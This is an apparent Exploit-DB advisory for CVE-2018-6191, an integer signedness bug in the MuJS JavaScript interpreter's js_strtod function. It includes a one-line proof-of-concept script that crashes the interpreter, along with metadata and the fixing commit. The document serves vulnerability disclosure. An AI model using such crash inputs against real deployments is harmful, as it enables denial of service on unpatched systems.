Integer signedness error leading to Out-of-bounds read that causes crash

vendor:

Mujs

by:

Andrea Sindoni

5.5

CVSS

MEDIUM

Integer Overflow

190

CWE

Product Name: Mujs

Affected Version From: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca

Affected Version To: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca

Patch Exists: YES

Related CWE: CVE-2018-6191

CPE: a:artifex:mujs

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Linux

2018

Integer signedness error leading to Out-of-bounds read that causes crash

The js_strtod function in jsdtoa.c in Artifex MuJS through 1.0.2 has an integer overflow because of incorrect exponent validation. Inside the function js_strtod, after the line exp = -exp; the value of 'exp' is still negative (cause integer declaration).

Mitigation:

Fixed in commit 25821e6d74fab5fcc200fe5e818362e03e114428

Source

Exploit-DB raw data:

Hello,

I want to submit the following bug:

The js_strtod function in jsdtoa.c in Artifex MuJS through 1.0.2 has an
integer overflow because of incorrect exponent validation.

# Exploit Title: Integer signedness error leading to Out-of-bounds read
that causes crash
# Date: 2018-01-24
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-6191

Content of the poc file
$ cat poc.js
function pipo() {var 2e2147483648= 117486231123842366;}

Run it
$ mujs poc.js

Additional details about the bug:

Inside the function js_strtod, after this line
https://github.com/ccxvii/mujs/blob/81388eb40d29f10599ac30dde90e683a3c254375/jsdtoa.c#L714

exp = -exp;

the value of "exp" is still negative (cause integer declaration).

Fixed in commit 25821e6d74fab5fcc200fe5e818362e03e114428 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=25821e6d74fab5fcc200fe5e818362e03e114428
)